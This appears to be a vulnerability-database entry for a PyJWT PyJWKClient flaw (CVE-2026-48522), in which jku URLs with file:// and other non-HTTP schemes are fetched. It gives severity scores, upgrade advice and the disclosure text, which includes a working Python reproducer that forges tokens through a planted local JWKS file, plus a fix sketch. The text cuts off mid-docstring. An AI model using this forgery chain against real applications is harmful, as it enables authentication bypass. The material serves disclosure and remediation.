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VulnerabilityPublished Updated

CVE-2026-48522: jpadilla pyjwt · Confused Deputy

Affects jpadilla pyjwtSource CVE Database V5

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Not known to be exploited · CVSS 4.2 Medium : upgrade to 2.13.0 when convenient.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 3.1 base score
4.2Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.2% chance of exploitation in 30 days – higher than 12% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 2.13.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 28 May 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

What to do

Upgrade jpadilla pyjwt to 2.13.0.

Affected software

ProductAffectedFixed in
jpadillapyjwtAffected
  • <2.13.0
Fixed in
  • 2.13.0
PyPIpyjwtpkg:pypi/pyjwtOther threatsAffected
  • <2.13.0
Fixed in
  • 2.13.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

A patch is available in PyJWT 2.13.0 that adds scheme validation to PyJWKClient, restricting allowed URI schemes to http and https by default. Applications should upgrade to PyJWT 2.13.0 or later. Until upgraded, applications should implement strict validation of jku URLs to reject non-http(s) schemes and ensure untrusted input cannot control jku values or write to local files referenced by jku. The vendor manages remediation for this cloud-hosted service; check the vendor advisory for confirmation.

Description

> [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. ## Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. ## Affected versions Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction. ## Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time # Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() # Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) # Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) # Vulnerable application pattern: caller derives jku from token header # and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently key_obj = client.get_signing_key_from_jwt(token) decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) # Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...} ``` ## Cross-library evidence — PyJWT is the outlier The same composition pattern is structurally safe in 4 other mainstream JWT libraries: | Library | Behavior on `jku=file://...` | Mechanism | |---|---|---| | **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build | PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer. ## Recommended fix Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted. ### Diff sketch against `jwt/jwks_client.py` ```python def __init__( self, uri: str, cache_keys: bool = False, max_cached_keys: int = 16, cache_jwk_set: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, ssl_context: SSLContext | None = None, allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowed_schemes: URL schemes the JWKS endpoint is permitted to use. Default ``("https", "http")``. Pass ``("https",)`` for HTTPS-only oper

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